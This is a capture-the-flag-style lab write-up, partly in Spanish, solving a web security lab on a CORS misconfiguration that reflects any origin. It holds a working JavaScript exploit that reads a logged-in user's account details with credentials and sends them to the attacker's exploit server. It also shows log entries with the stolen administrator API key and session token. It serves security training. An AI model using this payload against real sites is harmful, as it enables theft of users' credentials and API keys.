01 Lab: CORS vulnerability with basic origin reflection

This website has an insecure CORS configuration in that it trusts all origins.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

You can log in to your own account using the following credentials: wiener:peter

LA API DE NUESTRO USUARIO LA VEMOS

image.png

Debemos sacar de que request se obtiene esta api, para forzar a que nos de la API del admin

image.png
<script>
	fetch('/accountDetails', {credentials:'include'})
	.then(r => r.json())
	.then(j => document.getElementById('apikey').innerText = j.apikey)
</script>
image.png
image.png
  1. La respuesta indica Access-Control-Allow-Credentials

  2. Agregamos en la consulta el header :Origin: https://example.com

  3. Vemos que en el origen está reflejado la cabecera Access-Control-Allow-Origin

image.png
  1. Vamos al exploit server usando el siguiente script, para obtener los valores en texto plano como respuesta.

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0a0200ff04db1ddb8291e8bc00860057.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>
image.png
image.png
GET /log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22mb3KgaQCchw5JDpEYCho1XPW7Orh3RbO%22,%20%20%22sessions%22:%20[%20%20%20%20%22CCiwxWIywzlbk6Pb2UWFn08CtnDI0Olu%22%20%20]} HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
GET /log?key={  "username": "administrator",  "email": "",  "apikey": "mb3KgaQCchw5JDpEYCho1XPW7Orh3RbO",  "sessions": [    "CCiwxWIywzlbk6Pb2UWFn08CtnDI0Olu"  ]} HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
image.png
image.png

Last updated